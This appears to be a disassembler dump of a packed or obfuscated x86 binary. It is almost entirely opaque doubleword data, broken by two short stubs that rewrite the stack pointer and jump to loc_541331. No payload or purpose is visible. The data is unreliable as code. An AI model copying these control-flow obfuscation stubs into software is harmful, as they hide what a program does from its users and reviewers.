dd 0A918160Dh, 113CCDBh, 0B9570000h, 7549DC7Eh, 7C6C41B0h
dd 0E75D8F04h, 3ABBAA9Bh, 37BCCCBDh, 0BF445030h, 3AB9CBB8h
dd 46384E3Fh, 0EFBF5699h, 7C6D0EA9h, 36E24837h, 0BBEAB68Dh
dd 0F4858421h, 948F1FB7h, 4EDBA9D2h, 39h, 0D97BB9D5h, 3388704Eh
dd 0ABD47624h, 334C0CDAh, 19517624h, 0CF7642A2h, 0BEAB3D23h
dd 0A223A0C1h, 336D5B33h, 821E7624h, 706DF3E7h, 4DE56203h
dd 8826422Dh, 99h, 0DC7EB90Fh, 4EBC7549h, 6F087C6Ch, 87A283F8h
dd 75A273D6h, 21C2DEDDh, 0A94A4622h, 58A21C5Eh, 74353EFFh
dd 1D8B80BCh, 0A64CDC5Dh, 54D5D2A3h, 0ADCC9727h, 0A0F77C6Ch
dd 75FA3FEBh, 609EEE5Ah, 30176038h, 1DC7B058h, 4E985B76h
dd 13C88228h, 4D2F2AC9h, 293DB854h, 0A80E8F8Ah, 0B621EBD4h
dd 0EC9D981Ah, 7B83C599h, 56517C6Ch, 3A9401A9h, 82BBAAB3h
dd 0EDF6FC77h, 10A1D002h, 0ED96E293h, 0A7FE9916h, 1A6B6E15h
dd 0C4BB359Dh, 0E2751720h, 7B58018Ch, 3E5A257Ch, 0DC7EB995h
dd 941EB249h, 1483E091h, 2432FEBAh, 5ADCA76h, 73624657h
dd 1285E27Ch, 6165237Bh, 38967C73h, 7C736180h, 5651234Ch
dd 2A1F380h, 8A296507h, 6C1D149Ch, 1C159D0Fh, 16810E6Fh
dd 791A3B9Dh, 0E84E857Eh, 4925BCCBh, 7C73450Fh, 45226638h
dd 0C1AE7C73h, 0CC8CE2B3h, 187C7344h, 1AB81E9Fh, 0EEF34A4Eh
dd 6DB06F23h, 0FD88B734h, 0D179E867h, 30A7A241h, 8D1F0A9Ch
dd 1495E2E7h, 0CD7622BEh, 34C85FF6h, 0BBF88988h, 0F3E1ADEBh
dd 0D67C3BEAh, 96D5CED9h, 0CDD3A2F5h, 0FCEDAB03h, 0BCFBEAF3h
dd 7BFB973Fh, 521F2692h, 18EA93Eh, 94822070h, 1A9BE8EFh
dd 169CEC9Dh, 934F6213h, 0C270172Ch, 0A93ED21Dh, 0FF8414BAh
dd 670C98F8h, 0E8841360h, 0D5E34B56h, 3, 85DA4132h, 494E5FCh
dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah
dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 5585450h, 4, 8704E883h
dd 685C2404h, 3EE4h, 68243489h, 2735h, 55242C89h, 4F2F42BDh
dd 8BEE8906h, 0C481242Ch, 4, 0A5D68h, 24248900h, 4240483h
dd 0BD55565Dh, 1FCF6259h, 4246C29h, 8458F5Dh, 59084581h
dd 8B1FCF62h, 8950242Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h
dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h, 4973E95Ch
dd 0DF4BFFF9h, 67319271h, 0A797D5B5h, 347FB893h, 0C503064Fh
dd 0AEE5E0FFh, 985006F7h, 775E1330h, 0FD6E5813h, 0B5762E99h
dd 508B61D8h, 0AF552D5Ch, 0E4FC41BFh, 8528054Ah, 0DE6F74A3h
dd 72112BEh, 0FF032070h, 0B8DA1204h, 4EB7CF3h, 616023D3h
dd 587E9h, 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch
dd 667B0793h, 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h
dd 9DAA6BDh, 67601876h, 0DA6C7C73h, 0E8FE8549h, 0BBC84948h
dd 2C4C4DE9h, 15A53C75h, 74FA74D3h, 0B2B132DEh, 0FD0CB7C5h
dd 0BF34AE00h, 389601AEh, 76251B80h, 0D5A2234Ch, 7DEC9C2h
dd 57277FDh, 40701364h, 0B43EDA70h, 0EAE9C0B1h, 3D3AF7B1h
dd 6BC32701h, 0CC638A71h, 24A3B6F2h, 0CD650276h, 0C1A3A64Dh
dd 84DD28D5h, 65B0D5h, 0DD6FE667h, 412E5F4Ah, 0D3C8D9E9h
dd 8669970h, 76253150h, 266139Ch, 0AC6CC289h, 0E2970E01h
dd 5FE481F5h, 394A2B58h, 0EC420182h, 0CA2BBDCFh, 0C8FE4FBAh
dd 0EA9B185Eh, 0E830EF6Bh, 722E4A4Dh, 0CE8AE4F1h, 1A76246Bh
dd 186F1C9Dh, 88F9F884h, 0E7F7AF8h, 0EE70E061h, 387D5BF3h
dd 1776246Ch, 5BC0E45Bh, 81DDE137h, 7Ch, 8DCAB3E8h, 3CF6B20Ch
dd 0A5C27624h, 0F2F7F2D0h, 0FE854B5Ch, 7A3C8AFBh, 0D5762432h
dd 9982A219h, 43DDE10Eh, 1, 95E980D8h, 762432D3h, 6E0A86E1h
dd 0AD57C36Bh, 2BC9DBA8h, 0D063A4DAh, 9B1832C8h, 1B169EEAh
dd 0BC50476Ah, 25973F2Ah, 9825B766h, 9617EA8Ah, 0D7D250C0h
dd 6945DCB5h, 7624982Fh, 0BC5CF2BDh, 819C2337h, 9F316000h
dd 36881F12h, 76249772h, 0E99317Eh, 0D395E980h, 0E1762432h
dd 327A3E90h, 39467624h, 0FA8612B8h, 0B634CF4h, 7624334Dh
dd 1E9F1C9Bh, 94911361h, 7E2D9FE7h, 24618AFh, 0CE762433h
dd 0ED8909A1h, 93108CECh, 76880194h, 0DADF65D3h, 65BBCCADh
dd 0A0CF671Fh, 0F2A44FD0h, 0D680067Fh, 99B2C340h, 0BD567E2Dh
dd 67DDE1D1h, 55h, 0F8F985BCh, 7B66F98Bh, 19B0270Ah, 24330345h
dd 0D6D176h, 0AF4B914Eh, 56D2CEAAh, 0AE562253h, 3DA9A2D3h
dd 10AD664Eh, 5877DDE1h, 0AC000000h, 6DF8F985h, 215E53D3h
dd 0BFCDEA40h, 0C14E3F32h, 0EE8A5E0Dh, 841889EBh, 0E16D10E3h
dd 0C1B6FF8Bh, 0DC723340h, 0E9FF85CBh, 513E4B56h, 0E2E6764h
dd 354031BEh, 0BC88C09Eh, 2B547624h, 0D9539B5Eh, 268CB03Ch
dd 251AEDA8h, 33E86276h, 0E1E6EE15h, 134DDh, 856F0000h
dd 0FA96E7E2h, 8A0D7A79h, 30CC13C8h, 91D7A7B0h, 5F762432h
dd 9F7BD350h, 1A740B08h, 7624325Eh, 1B5D0D6Ah, 0A9762433h
dd 4B2341CEh, 0A43BAA70h, 32F7B10Dh, 0BAC57624h, 47134614h
dd 0D0DF7C6Ch, 38DFD4A3h, 305D7C94h, 0A84BC76Fh, 76094259h
dd 0A8CB0DADh, 0D34F38CDh, 0EDAB0394h, 0FB7C6C35h, 0D2BE3FBCh
dd 49263DC6h, 1902A23Eh, 6C360345h, 29D6D17Ch, 3593D381h
dd 84367C6Ch, 93961DC7h, 1B1EA5F1h, 9E951E6Ah, 782799E1h
dd 0A13433B0h, 35F4B40Ah, 0A7C07C6Ch, 20DB730Fh, 0FADBA90Dh
dd 14Ah, 0BAA739D3h, 7EB97314h, 0BE2A27CFh, 28BF3C33h
dd 0EC671891h, 1125CF8Dh, 24A50741h, 4AAD576h, 0B2F83D91h
dd 0A3CC7C6Ch, 353DC6D2h, 4E20B792h, 7C6CAF0Ah, 4828A9D6h
dd 7324D75Ch, 0D03D8180h, 23710E8Fh, 7E128580h, 0EE8FFCF3h
dd 5BF3F672h, 0B774465Ch, 0A1C3C66Dh, 0DCCB5CF0h, 0C6BD6676h
dd 5867DBA9h, 0BC000000h, 4ED97BB9h, 8C9F25B7h, 24327632h
dd 0A4254276h, 3358400Eh, 0F847624h, 58CB94ADh, 68207E59h
dd 74762470h, 7C0D8A0Bh, 0D8AD7029h, 6BAC59CBh, 0D7A67F9h
dd 0D088C66Ch, 0D576251Dh, 0F2CE26E5h, 0FFE9C550h, 6D76251Dh
dd 14A4E0F6h, 0B63703B5h, 8C5CEAh, 0B9BB0000h, 7549DC7Eh
dd 7C6C4EBCh, 821E6F08h, 0DC73E2E1h, 6C4DC682h, 3D95127Ch
dd 7772F1ADh, 55DD6F06h, 0E84E2F5Ch, 6C4EA9EAh, 9482217Ch
dd 196617F2h, 1C99EB98h, 0A4166C1Dh, 56412EE7h, 92383FBAh
dd 3AB963D8h, 427D5D3Fh, 0A386306Ch, 28710207h, 0AC3BB8A8h
dd 0BC57DDD2h, 93026D82h, 5E311A1Eh, 81F2FCF2h, 0B31BD0DDh
dd 1E9D35FDh, 95E2E182h, 61019BF2h, 2B90CA60h, 0CD58023Dh
dd 6059A36h, 1AD22B0h, 723D7C7Bh, 7EB98D16h, 1BB249DCh
dd 24330543h, 0A3D4D376h, 0F3EE42CAh, 7F5DF5CFh, 7C743080h
dd 0C2DEAFC8h, 0CB08D621h, 592A2FCBh, 0FC6C0B5Ch, 9CFC7D74h
dd 0CF776300h, 67E485F2h, 41ED7F16h, 0DC723340h, 0A2D755FEh
dd 897624E3h
dd 0A7C5C063h, 0DA4D48EBh, 0C72D6B43h, 0FCBBD784h, 0AB4B5956h
dd 0BC3ED9D6h, 9B9E25CFh, 7214A8F9h, 0EF8AE697h, 57C36BE8h
dd 2AD8A9ACh, 23h, 9728C45Bh, 0ECBAFB88h, 0D784C6ACh, 0CCD77F38h
dd 4E41EC80h, 0A8538431h, 0F84DE861h, 4C4DE97Bh, 8525EEE6h
dd 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h
dd 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E18951h
dd 4C1h, 4E98300h, 2474FF51h, 48F5904h, 45685C24h, 89000059h
dd 9A682434h, 8900007Dh, 0BD55241Ch, 64F3554h, 2C8BEE89h
dd 4C48324h, 241C8B54h, 4C481h, 56520000h, 5E240481h, 5A4ABA6Ah
dd 6A5EEA81h, 53894ABAh, 1C8B5A08h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
db 0CFh
dd 0FEA8D33Fh, 4F3A5FB8h, 0FFC50306h, 3B3D19E0h, 0DC6E8A06h
dd 0A8FB6C0Fh, 7C52AF54h, 9F7B9D1Bh, 0C4D32364h, 84804279h
dd 5DE55A3Fh, 0CD4E4964h, 0B5B4C029h, 0D796EF4Dh, 3660C676h
dd 0A7F03B11h, 0C6111B58h, 0B107AD3Ch, 9ADEFE6Fh, 49D0A37Eh
dd 2F89CB1Ch, 6053E92Fh, 7A1F559h, 0CA778F79h, 53FE7819h
dd 0D4288971h, 5B9BAF33h, 36B65052h, 9511381Bh, 7E04EB03h
dd 0E9517BA9h, 5F7h, 3C5C53D2h, 0A5C7C260h, 294B56E9h
dd 9CFCF57Dh, 7656400h, 3AF97FCh, 9036620Eh, 3EBBD7B5h
dd 0A64D593Bh, 7B12C1A3h, 736D6523h, 3AED737Ch, 6CFBFE85h
dd 9E8B3B37h, 0AF651E15h, 0E36EC5AEh, 0BB85298Ah, 95E7943Ah
dd 1C88E8E9h, 0E1FC8397h, 3921390h, 4556126Ch, 0E7827624h
dd 661293E0h, 0C8126C19h, 0A9071726h, 9D267201h, 199BE986h
dd 96446F1Ch, 65600329h, 0EBEE8B07h, 4245E07Ch, 25C0DCECh
dd 0C41E5A34h, 0CDAA7624h, 0DB6D3F4Ch, 47E3B1CEh, 0C0673542h
dd 0CDBDB4C5h, 0E7BED91Eh, 0E032D4B2h, 0D0667266h, 7EFB219Eh
dd 6438CB68h, 0B19590BCh, 0D8D9D657h, 28A9A848h, 0D0D75C48h
dd 185213A3h, 41FD7625h, 3BB9539Ah, 8A20413Eh, 0E1E809F2h
dd 0AB039ADDh, 76251CEDh, 3616BCFBh, 6Eh, 0DE0B806Dh, 9D1E1A9Dh
dd 0EB8808AEh, 87CF9FECh, 0CA76252Dh, 867DAB10h, 5CDDE1F5h
dd 1, 0ECFF85C7h, 2432D692h, 0ED96E276h, 0A0FE6916h, 762432E8h
dd 9B0A8BF4h, 50AC24E6h, 821525D3h, 24A46C2Ch, 973F7876h
dd 0FCEA8818h, 6E0F7C6Bh, 600090E1h, 0E3801061h, 780597E4h
dd 69210879h, 0C4B67DB2h, 5257DD07h, 0DAD95A36h, 0B8015BEh
dd 0EED166A3h, 4E5BED1Ch, 5BF37031h, 413E33BFh, 0C7B4B133h
dd 0CA1ECDBFh, 5D492B2Eh, 0AD44D3D6h, 24AD97D1h, 0F45A2576h
dd 3712B5C7h, 52B5EBA0h, 0ED869924h, 32980148h, 61DE8885h
dd 0E187CC47h, 0B316DDh, 858D0000h, 0D36DF8F9h, 0ECC25550h
dd 762432ACh, 0D8D77F38h, 5B2837C8h, 0DEAFAA49h, 0E158D325h
dd 0E8784C68h, 9C3B4857h, 61A861DEh, 912BF2A9h, 7641514h
dd 4247E3AFh, 0CBCE6A26h, 2423C05Ch, 1393E18Eh, 8C13611Eh
dd 3995E091h, 76247D7Fh, 0CB6224Dh, 17DB7809h, 588B67A8h
dd 838941A9h, 8E7DE902h, 0E11F6DA6h, 7DB7DDh, 80EC0000h
dd 32AA060Bh, 0F7807540h, 0E90EB7EAh, 0C753FBE3h, 3E49263Bh
dd 0AD0500A2h, 304140EDh, 0DC8F0493h, 9DA21848h, 1514DFD6h
dd 0CF4C647Ch, 62B67567h, 0A550D0C6h, 64106FE4h, 96E76429h
dd 0D7A79FAh, 26EEF6Ch, 0E9FF8561h, 70314E4Bh, 713482F3h
dd 0A5762432h, 1B690603h, 93EB9885h, 44AD62D9h, 3134BF51h
dd 0D18B2340h, 0EC13A6Ah, 0BE52DDE1h, 2F4C3D28h, 14787h
dd 85DC0000h, 0FA96E7E2h, 51EB7A79h, 0A440D0D1h, 0E76E0DA5h
dd 0DB6CB46Bh, 0F3CCACCCh, 0B9E0BE29h, 257C6C46h, 0C65A2D5Ah
dd 0B2913620h, 76FD9D35h, 0B0C1C060h, 7A1672F3h, 3D8DFAF9h
dd 7C6C4679h, 22D925Ch, 82DCD96Eh, 7C6C46C6h, 0BE149512h
dd 365251D2h, 2CC9D95Ah, 0CABBB63Eh, 5E5F2CADh, 53D0A0D1h
dd 0C0664942h, 57EE9592h, 6CDC4107h, 63E08F7Ch, 57E98C12h
dd 0DBD8A9ACh, 5E827973h, 0E3B2DED5h, 4AAB749h, 0A9A7B368h
dd 16D69DBh, 0B9B20000h, 0B249DC7Eh, 4BF02DF9h, 61C987F7h
dd 6C51B273h, 958D067Ch, 0E754A335h, 0EC801794h, 0CCEB4346h
dd 872337BCh, 2B670582h, 0ACFC8D88h, 2B730007h, 0DD9BF38Ah
dd 0B7C6CE3h, 9C1D6A6Fh, 0B12B83ECh, 869D26CAh, 6226780Fh
dd 6E7C6CE3h, 7119A901h, 0DBA9BF8Ah, 5850h, 7BB9CB00h
dd 2DB24ED9h, 0A1FD983Eh, 76243337h, 1DADDAA5h, 7624325Bh
dd 0B3550AA0h, 2358CF85h, 9DF190E5h, 762439DBh, 89F58EE9h
dd 22F35BF3h, 7475F18Bh, 0F04659E4h, 24D6F6E2h, 67056276h
dd 0CEC9h, 4AC7BC00h, 0EBF6899Eh, 42DC369Eh, 0E9FFC59h
dd 0F951DEE5h, 0DC7EB9EEh, 921EB249h, 9CEDE48Ch, 9A389E1Fh
dd 7C6C4E67h, 25770463h, 0ECEB889Eh, 37871E9Fh, 7C6C4D71h
dd 0D1B3307Fh, 4A3B3EC5h, 6C4EB7FCh, 0B16EE07Ch, 5ACDC86Bh
dd 5DEA1721h, 9F375DB5h, 0DC90AB03h, 6C6CC682h, 295127Ch
dd 6C6CECACh, 3EBFF87Ch, 309B10A7h, 0D04A44C6h, 61640E9Ah
dd 36178BC9h, 405182BCh, 2C262A6Eh, 48C9B676h, 55D06C3Bh
dd 0EE442552h, 0F5828122h, 69061BA7h, 99B9E1Bh, 949B9B6Ah
dd 467486D9h, 98D2A8D9h, 0CF8BEA23h, 0B733CD10h, 0EA4C5B2h
dd 28D485BEh, 0C95B5829h, 3AAD2A37h, 6B7609A3h, 911D95C3h
dd 0B24E7C7Ah, 1D9D3530h, 806DF692h, 32D395E9h, 86E17624h
dd 0AF635C30h, 243299DFh, 0A94B2776h, 37AE2FACh, 8AE56E42h
dd 900057C0h, 0D7BE1413h, 73AE0B87h, 4D3A457Ch, 0D3B1B43Fh
dd 48393CC7h, 90C8A63Dh, 5C7C73ADh, 0A0DDFB53h, 9DD3A895h
dd 9AA7E2Dh, 1D9A8719h, 8580237Fh, 0F11CA4F4h, 1EAEFD8Ah
dd 5021AEFBh, 924605B5h, 0E9831211h, 0C6E24849h, 226638CFh
dd 0AEC79FD0h, 0CFC187D7h, 600FC79Fh, 24CF4BE3h, 991AB621h
dd 268CED9Ah, 81989h, 807E0000h, 0E94140ECh, 0FC8526EDh
dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 50B9BFCCh, 405E089h
dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89532434h, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 2414895Ch, 188D6852h, 815A7138h
dd 735935C2h, 89BB5344h, 0F72FAD46h, 3EEB81DBh, 81333072h
dd 81825CC3h, 5BDA01B3h, 545AD689h, 8124148Bh, 4C4h, 0B8505600h
dd 3F9D0372h, 4244431h, 8428F58h, 72087281h, 8B3F9D03h
dd 89512414h, 4C181E1h, 83000000h, 0C8704C1h, 348B5C24h
dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F93D30E9h
dd 0A761F0FFh, 4063D40Dh, 0B843CF37h, 64F408Eh, 0E0FFC503h
dd 5185575Dh, 561D4F7Fh, 76C8A0F6h, 4E56338h, 3E409E7Fh
dd 18822D7Bh, 0C55408Ah, 335E31A6h, 42658D8Dh, 0DF81064Fh
dd 390D8560h, 18F0Fh, 89F80000h, 4814058Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0A6D7AF86h, 0BE9h, 37809200h, 96B6AA8Fh, 0C6507D1Eh
dd 302585C7h, 739C0648h, 0E9F80000h, 0Dh, 870515EDh, 87B1535Dh
dd 4CB8EB49h, 0D985C741h, 6482Ah, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0C15CC357h, 81B6EF30h, 0F58D89A2h, 0FF06480Ch, 480D3DB5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 6393804Eh, 0F057B7B1h, 8E87Eh, 89D40000h
dd 7D15D5E3h, 858B7E55h, 6480AF1h, 0AD9D895Fh, 0FF064805h
dd 480E7195h, 199D8B06h, 6A064817h, 2D95FF00h, 8B064809h
dd 581BEBC0h, 98115843h, 9940E536h, 0DDEA9F4Dh, 0D52A9569h
dd 7BE5B396h, 0E4DE88D8h, 4EBECE0h, 4D60BAFBh, 573E9h
dd 956C1500h, 1C199BF7h, 809F207Ch, 350CB4E0h, 0BABF3B57h
dd 0E4DCB5DEh, 6F3B5958h, 0F0ACCCD9h, 7A167275h, 0C59EFAF9h
dd 749CDCB2h, 96287C73h, 0FBFE850Dh, 7F72FE8Ah, 0E7E2811Dh
dd 0D98AFF96h, 0CD331FECh, 0E5FDCF41h
dd 941535D3h, 0D2D1523Eh, 0DC2DD7A5h, 8C50AF24h, 0AEDF5CDAh
dd 0C068D78Bh, 4D442423h, 473431B3h, 65009026h, 0FD8F0662h
dd 50086671h, 9C7624F0h, 5C3C9213h, 0BBDE2AD1h, 0EE2A6F8h
dd 81EE7625h, 511A8FF4h, 38D4A3D0h, 7B17BFBAh, 0C8BF8E5h
dd 0AE4B914Eh, 56DDC9ABh, 0D1942253h, 7E7624AFh, 160B8017h
dd 0B54622B5h, 1590C886h, 2ABC7625h, 0B6224D3Fh, 3946370Ah
dd 4460DF91h, 0DDE1EDDFh, 3433B04Ch, 4C902647h, 5Eh, 41EC80D7h
dd 0C187D74Eh, 0F762432h, 0A54ECA60h, 2AC6D1AEh, 0B3218994h
dd 762432F3h, 1EA5375Eh, 4239B31Bh, 0E10EB962h, 163DDh
dd 85B80000h, 0FF8DFAFFh, 71037075h, 0D088E6F1h, 1C762432h
dd 4E651293h, 7F052F9Ch, 0F5871E7Ah, 33DF7752h, 8B22B5B0h
dd 24327533h, 8E244376h, 0EC8051F2h, 75324346h, 0B0B13DDDh
dd 0E9F48B25h, 4B31B98h, 0BACBCE74h, 0FD58AE4h, 93026E63h
dd 32E6A2FCh, 0B5F27624h, 0F3F67D1Dh, 0F9B22F64h, 0CA3CFAC6h
dd 0DA8D9EB9h, 0DC728B72h, 3C3ACDDFh, 0A3C0B1B0h, 0BA475522h
dd 38BAD6A7h, 0B5654C3Dh, 62DC31F6h, 83DB72BDh, 76243EC5h
dd 706DF3h, 0DA9EF067h, 0E676243Eh, 769D3199h, 0E5DDE11Ch
dd 0DFACA94Bh, 93D478DEh, 4F000000h, 8BF8F985h, 0A7B66F9h
dd 81FEF57Eh, 57277F3h, 66BF6C5Eh, 0ED8824B3h, 0B61C9DEAh
dd 119D4704h, 98247010h, 27770E99h, 76243261h, 9491136Fh
dd 0B11986E7h, 0E0CE7602h, 0B4C54245h, 34455CE4h, 0A9C6D964h
dd 1408E03Ch, 3E85D243h, 0F506DF8Ch, 0C45B8279h, 24F8AEEAh
dd 0D57D3A76h, 0E1D652B9h, 4D88DDh, 4FE10000h, 0A4E4BAB9h
dd 307624FEh, 0F8B9F677h, 0F9853152h, 7CF98BF8h, 0C38F0C7Dh
dd 2928D41Ch, 1D215A4Bh, 95625B4Fh, 7550F662h, 0FF85CADDh
dd 783D8DFAh, 0D7762432h, 135529C0h, 0A1762433h, 817E70C6h
dd 0E10E7CA7h, 1A6DDh, 85FD0000h, 0FF96E7E2h, 0B0C1C06Dh
dd 304140E0h, 0BC5CF273h, 0EA53037h, 2432F8B0h, 13BBC476h
dd 8A71E164h, 53C2C166h, 413E3BB9h, 9EFE8A20h, 0D970E7A5h
dd 2432C385h, 0C0961176h, 47507955h, 797C6Ch, 7C9D9057h
dd 85D94C9Ch, 7C6D2DC3h, 0B0C09611h, 0F242C603h, 21AECE1Eh
dd 0A4A34050h, 1C099F31h, 18A80E6Fh, 93E0E78Ch, 6CFC83C3h
dd 0BD4F467Ch, 214E3F2Ah, 0C068D789h, 9B8D3723h, 0EB981904h
dd 336F0D8Ah, 8B22B5B0h, 6CFC7533h, 1DA37Ch, 39463273h
dd 0A40A0FABh, 95E98017h, 7C6CFCD3h, 0B23172E1h, 7E696E47h
dd 3AB959F1h, 7214A83Fh, 0EAB03F97h, 62012B90h, 0F08C0567h
dd 0C3DB736Eh, 0DBA92058h, 47AE31CBh, 7EC6DBB2h, 0B0C14E17h
dd 1A81DE07h, 0E0619D5Fh, 14C824Ah, 0B9190000h, 7549DC7Eh
dd 7C6C41B0h, 0C8D76804h, 0C56E3A4Bh, 4DF6A2CEh, 0C86B3976h
dd 41ECBCCDh, 0C063314Eh, 40BDFBD3h, 6C0B7C6Ch, 60029EEFh
dd 0F6971465h, 0D84E8744h, 70F339E6h, 9C871775h, 46DBA900h
dd 5Bh, 0D97BB9DDh, 3388704Eh, 5FD47624h, 62442430h, 0B01162F6h
dd 612AC400h, 394C3DBAh, 0F5B30BA2h, 0C3762469h, 69B2F6A4h
dd 49DE7624h, 0D3412E5Ah, 0DDFB5356h, 7624699Bh, 0F315CAE0h
dd 1980FC5h, 96F86288h, 8A0655C6h, 1A9BE8EFh, 74B226B4h
dd 713E7624h, 0AC6513h, 0B9E20000h, 0B249DC7Eh, 0B3E785F9h
dd 5FCD7EFBh, 5B79D1D4h, 7C6C67A6h, 64344522h, 0E9B8D8DFh
dd 9EED5AB0h, 0B1C28D02h, 3DCB64ADh, 6B278FF1h, 2EBCCDC8h
dd 7C6CDA65h, 0C56FDC9Eh, 48593B3Eh, 20ED1453h, 2C594A87h
dd 16D8EB9Ch, 0AC00D63Eh, 5EC993h, 82BBCFCBh, 891B6817h
dd 29EEFEAh, 871E6F62h, 2B4A7137h, 0A0307F76h, 22750205h
dd 2B4B0C4Ch, 14DFD876h, 4520F9A6h, 8AC2B74Eh, 0E2E1AE15h
dd 0E7F5B3E3h, 0A4C3762Bh, 79EF5C0Eh, 0B5099C3Eh, 7C7B2A76h
dd 1BB22542h, 6D2A0543h, 41D4D37Ch, 6D2A2B6Dh, 58FEB97Ch
dd 7EB9AB48h, 0B67549DCh, 27C7375h, 0FF841465h, 670C98F8h
dd 90431360h, 0B8C7A367h, 3D4F3C3Bh, 9AC1BEABh, 6FA27B20h
dd 9F24CCB3h, 7ACF898h, 65FB9500h, 227C0B78h, 0C384E266h
dd 1EB43572h, 6E630391h, 7C47611h, 315356DDh, 0AADBDE65h
dd 33Ch, 0DA419B00h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh
dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh
dd 521068B9h, 1C890000h, 692D6824h, 1C890000h, 0E7895724h
dd 4C781h, 0EF830000h, 243C8704h, 2404895Ch, 4EC81h, 2C890000h
dd 4290BD24h, 0EB89064Fh, 48B545Dh, 4C48124h, 68000000h
dd 1C1Bh, 8F241C89h, 48B0840h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
dd 819D1575h, 4F4794B8h, 0FFC50306h, 0D8FD05E0h, 0DF8FA715h
dd 639F5106h, 0B77AF648h, 0AFB1EA22h, 2349FE64h, 0A531427Dh
dd 0F058E75Dh, 0B2F37D66h, 126FFF73h, 7B31E754h, 82DE507Fh
dd 3889A015h, 8C293073h, 0E0BD745Ah, 5ACCD943h, 5D86A235h
dd 7C9C4355h, 9F082A45h, 79245335h, 1C86D42Bh, 14ECD964h
dd 17E6C204h, 9989B63Dh, 19E57E24h, 6453A028h, 3F04EB63h
dd 0E9494809h, 581h, 4647BFAh, 8DEFEA88h, 0F1938E11h, 64041DA5h
dd 0EF8D8C28h, 2BD7EFC4h, 0C85E4A56h, 46E3BFDDh, 0CE752143h
dd 0A33AA9CBh, 737A8DCBh, 2855B7Ch, 8AFBFE85h, 156972FEh
dd 76243253h, 68691561h, 9C1D9A1Bh, 0C8CD7709h, 3454FABBh
dd 0AFDCDB58h, 225356DDh, 0D8A9AC56h, 0BB62D991h, 374901C6h
dd 0A395945Fh, 3B50253Fh, 85C39B83h, 53762447h, 937FD754h
dd 18BFE110h, 626C6F5h, 13AAFB99h, 24A3FDBBh, 6ACCB76h
dd 88E8EF8Ah, 79E911Ch, 0BBC8C975h, 932E89FAh, 0B673364Ah
dd 7F019320h, 86F7F271h, 53ED78F9h, 0D7A5D2D7h, 47245530h
dd 0C44370C6h, 0B4B133CDh, 5E10A6C7h, 0BBBE3BE1h, 23D3C8D9h
dd 0CC255176h, 0E0830FA7h, 7FC694E5h, 0D07624FEh, 9C87A11Eh
dd 46DDE1C2h, 82h, 11109D2Fh, 0EC802EB9h, 81EB944h, 0E72AE55Ah
dd 0C2680966h, 3FC5AD56h, 0B9CCBD3Ah, 0E41EF2C0h, 24ABCE8Ah
dd 0E89D1A76h, 8AEBC1Eh, 250F0C4Ah, 0D48B4776h, 0E1D20BF0h
dd 1D1DDh, 854A0000h, 0FF8DFAFFh, 2ECA6675h, 0D5D5A2Bh
dd 7624334Bh, 0F2B60899h, 0FE762432h, 0C2B330B1h, 9408FEB3h
dd 0BA792A2Ch, 258D982Eh, 61F4CD75h, 51B4F4CAh, 67007624h
dd 0D189A0CFh, 393CC66Ah, 0A1A44F5Bh, 0EC8020C3h, 713E4F5Ah
dd 8AEE6E04h, 4CE2EEE2h, 0AC3220CCh, 22A3C0B1h, 0B8BD4755h
dd 8E22B3CBh, 0A44EAF9h, 0EEE38F55h, 39D80277h, 0CA52FA1Ch
dd 0AB484464h, 3ACDDFACh, 9F24B82Fh, 88853298h, 0CC4761DEh
dd 5FDDE155h, 5E2F3ACDh, 6855F951h, 3C000000h, 0A90100A0h
dd 0EBF9851Eh, 0DDC85E48h, 0D2AEDF5Ch, 0A215E4Dh, 0A541EB50h
dd 52018450h, 24C93C7Ch, 9AEF8876h, 4D26DDA6h, 860182F3h
dd 0BBD9460Ah, 0D6AD56EAh, 0D6A7BA3Ah, 159101A9h, 6D156714h
dd 78EAE794h, 9D6EA583h, 2FB4DDE1h, 0EF000000h, 8BF8F985h
dd 0EA7D7CF9h, 0A2D3AE56h, 0C14E6DC5h, 0EE8A5E0Dh, 85EA89EBh
dd 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh, 141h, 0B80DA00h
dd 0FF2B090Dh, 0DBC635B7h, 253EA3F2h, 0FD820EA4h, 600391EEh
dd 35BF265h, 76248C45h, 31BE1493h, 1668FF96h, 76248C52h
dd 0DD1FE59Eh, 0DCE30C55h, 6C5F75Fh, 325E4DD2h, 2829C963h
dd 4B112A82h, 0FBD782DCh, 64037C6Ch, 0FBFE8517h, 63660D99h
dd 0D4024412h, 8A367C6Ch, 0DFAFC6B7h, 7C6CD399h, 28C85827h
dd 59115829h, 824C2DE2h, 237B12DDh, 7C6CD365h, 0F29E3473h
dd 7F167271h, 324346EDh, 0B7C4DB66h, 31E149F6h, 0AAC6B7B2h
